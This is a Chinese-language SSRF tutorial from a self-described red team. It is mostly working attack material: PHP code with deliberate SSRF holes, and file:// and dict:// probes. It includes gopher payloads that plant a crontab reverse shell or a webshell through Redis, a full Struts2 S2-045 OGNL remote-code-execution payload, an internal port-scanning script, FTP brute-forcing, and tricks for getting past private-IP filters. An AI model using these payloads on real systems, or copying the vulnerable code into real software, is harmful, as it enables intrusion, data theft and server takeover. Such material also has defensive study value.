红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。
本篇总结归纳SSRF漏洞
服务器端请求伪造(Server-Side Request Forgery, SSRF)
可能出现的地方
常见的缺陷函数
该函数的作用是将整个文件读入一个字符串中
<?php
if(isset($_POST['url']))
{
$content=file_get_contents($_POST['url']);
$filename='images/'.rand().'img1.jpg';
file_put_contents($filename,$content);
echo $_POST['url'];
$img="<img src=\"".$filename."\"/>";
}
echo $img;
?>
该函数用于打开一个网络连接或者一个Unix套接字连接
<?php
function GetFile($host,$port,$link)
{
$fp=fsockopen($host,int($port),$errno,$errstr,30);
if(!fp)
{
echo "$errstr(error number $errno)\n";
}
else
{
$out="GET $link HTTP/1.1\r\n";
$out.="Host:$host\r\n";
$out.="Connection:Close\r\n\r\n";
$out.="\r\n";
fwrite($fp,$out);
$contents="";
while(!feof($fp))
{
$contents.=fgets($fp,1024);
}
fclose($fp);
return $contents;
}
}
?>
该函数可以执行给定的 curl 会话。
<?php
if(isset($_POST['url']))
{
$link = $_POST['url'];
$curlobj=curl_init();
curl_setopt($curlobj,CURLOPT_POST,0);
curl_setopt($curlobj,CURLOPT_RETURNTRANSFER,TRUE);
curl_setopt($curlobj,CURLOPT_URL,$link);
$result=curl_exec($curlobj);
curl_close($curlobj);
$filename='../images/'.rand().'.jpg';
file_put_contents($filename,$result);
$img="<img src=\"".$filename."\"/>";
echo $img;
}
?>
一些利用方式
curl支持大量的协议,例如file, dict, gopher, http
# 利用file协议查看文件
curl -v 'file:///etc/passwd'
# 利用dict探测端口
curl -v 'dict://127.0.0.1:22'
curl -v 'dict://127.0.0.1:6379/info'
# 利用gopher协议反弹shell
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
例子1
ssrf.php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
利用方式
# 利用file协议任意文件读取
curl -v 'http://sec.com:8082/sec/ssrf.php?url=file:///etc/passwd'
# 利用dict协议查看端口
curl -v 'http://sec.com:8082/sec/ssrf.php?url=dict://127.0.0.1:22'
# 利用gopher协议反弹shell
curl -v 'http://sec.com:8082/sec/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'
例子2
ssrf2.php
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
// 限制为HTTPS、HTTP协议
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
利用方式
http://sec.com:8082/sec/ssrf2.php?url=dict://127.0.0.1:6379/info
ssrf最常见的就是探测内网
一个通用脚本 爆破指定的一些端口和IP的D段
# -*- coding: utf-8 -*-
import requests
import time
ports = ['80','6379','3306','8080','8000']
session = requests.Session();
for i in range(1, 255):
ip = '192.168.0.%d' % i #内网ip地址
for port in ports:
url = 'http://ip/?url=http://%s:%s' %(ip,port)
try:
res = session.get(url,timeout=3)
if len(res.text) != 0 : #这里长度根据实际情况改
print(ip,port,'is open')
except:
continue
print('Done')
Redis一般都是绑定在6379端口 如果没有设置口令(默认是无),攻击者就可以通过SSRF漏洞未授权访问内网Redis 一般用来写入Crontab定时任务用来反弹shell,或者写入webshell等等
工具gopherus
如果内网开启了3306端口,存在没有密码的mysql 则也可以使用gopher协议进行ssrf攻击
还是工具gopherus
gopher 协议是一个在 http 协议诞生前用来访问 Internet 资源的协议 可以理解为 http 协议的前身或简化版 使用tcp 可靠连接
gopher://<host>:<port>/<gopher-path>
<port>
默认为70<gopher-path>
格式可以是如下其中的一种<gophertype><selector>
<gophertype><selector>%09<search>
<gophertype><selector>%09<search>%09<gopher+_string>
<gophertype>
是一个单字符用来表示url 资源的类型,在常用的安全测试中发现不管这个字符是什么都不影响,只要有就行了,默认是1
<selector>
是包的内容,为了避免一些特殊符号需要进行url 编码,但如果直接把wireshark 中ascii 编码的数据直接进行url 编码然后丢到gopher 协议里跑会出错,得在wireshark 里先换成hex 编码的原始数据后再每两个字符的加上%
,通过对比发现直接url 编码的话会少了%0d
回车字符<search>
用于向gopher 搜索引擎提交搜索数据,和<selector>
之间用%09
隔开<gopher+_string>
是获取gopher+ 项所需的信息,gopher+ 是gopher 协议的升级版当通过ssrf 发现内网存在着一些比较脆弱的web 服务,比如有存在struts 2漏洞的web 服务 就可以尝试使用gopher 协议把poc 发送过去实现RCE
例子 内网struts 2 s2-045漏洞 存在ssrf 漏洞的靶机是192.168.73.150 存在struts 2 s2-045 漏洞的内网靶机是192.168.123.155
poc 通常如下
https://download.csdn.net/download/weixin_38514660/13717423
GET /showcase.action HTTP/1.1
Host: 192.168.123.155:8080
Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
注意gopher要对特殊符号进行二次url编码,空格可以编码为%2b
编码完就可以url发送了
redis 是存在密码的,ssrf 漏洞机器和redis 为同一台 知道web 目录,redis 启动账户有权限往web 目录里写入内容
利用gopher 协议则需要现在先在本地利用上述操作复现并抓包下来后 丢到wireshark 里导出原始数据处理成gopher 协议的poc
1、使用tcpdum 抓包回环网卡lo 的6379 端口的完整包内容写入到a.cap
tcpdump -i lo port 6379 -s 0 -w a.cap
2、将a.cap 用wireshark 打开找到发送redis 命令的包然后追踪流,以原始数据报错到a.txt
3、使用如下命令将原始数据a.txt 的内容进行编码,后使用gopher 协议发送到6379 端口
cat a.txt|xxd -plain|sed -r 's/(..)/%\1/g'|tr -d '\n'
成功写入web shell
gopher 可以暴破ftp 的账号密码,暴破完了之后可以尝试上传文件 192.168.73.150 为ssrf 漏洞服务器,192.168.73.130 为内网ftp 服务器
1、本地模拟一遍访问ftp 的流量
tcpdump -i lo -s 0 -w a.cap
curl ftp://vsftp:vsftp@127.0.0.1/
2、把发送到21 端口的流量直接以ascii 保存下来
3、把保存下来的数据包进行url 编码两次得出poc,然后丢到burp 的intruder 里进行暴破
cat 1|sed 's/ /%20/g'|sed ':a;N;s/\n/%0d%0a/;ta;'|sed -r 's/(.*)/gopher:\/\/192.168.73.130:21\/_\1/g'|sed 's/%/%25/g'|sed 's/:/%3a/g'
4、抓包本地lo 网卡
tcpdump -i lo -s 0 -w a.cap
使用ascii 据保为文件1
删掉文件1 的末行quit
命令
再复制出四个文件,并把stor
命令后的文件名重写为不一样的
5、每个文件进行gopher 编码,顺便再url 编码出poc
cat 1|sed 's/ /%20/g'|sed ':a;N;s/\n/%0d%0a/;ta;'|sed -r 's/(.*)/gopher:\/\/192.168.73.150:21\/_\1/g'|sed 's/%/%25/g'|sed 's/:/%3a/g'
6、在把传输通道的tcp stream 按如上步骤编码成gopher poc,在burp 的intruder 里在把poc 的端口部分加载荷
参考gopher 协议在SSRF 中的一些利用
防护一般是ban掉一些指定ip 或用如下正则匹配
^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
data-channel:将数据通道转换为流
https://download.csdn.net/download/weixin_42110038/19871459
这就要绕过
可以将ip地址转换成不同的进制来访问
比如127.0.0.1
一个脚本
<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo "十进制:";
echo $r;
echo "八进制:";
echo decoct($r);
echo "十六进制:";
echo dechex($r);
?>
注:
http://www.baidu.com@10.10.10.10
与http://10.10.10.10
请求是相同的
此绕过同样在URL跳转绕过中适用
如果php后端只是用parse_url函数中的host参数判断是否等于127.0.0.1
可以用以下特殊网址绕过:xip.io
,nip.io
,sslip.io
http://127.0.0.1.xip.io/1.php
,实际上访问的是http://127.0.0.1/1.php
比如将http://127.0.0.1
转换成短网址
http://127.0.0.1:8080
可以在自己的域名上设置A记录,指向127.0.0.1
1. http://localhost/
2. http://0/ 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
3. http://[0:0:0:0:0:ffff:127.0.0.1]/ 在liunx下可用,window测试了下不行
4. http://[::]:80/ 在liunx下可用,window测试了下不行
5. http://127。0。0。1/ 用中文句号绕过
6. http://①②⑦.⓪.⓪.① Enclosed alphanumerics方法绕过,英文字母以及其他一些可以网上找找
7. http://127.1/ 0的数量多一点少一点都没影响
8. http://127.00000.00000.001/ 0的数量多一点少一点都没影响
主要有以下几种
对SSRF做了个小结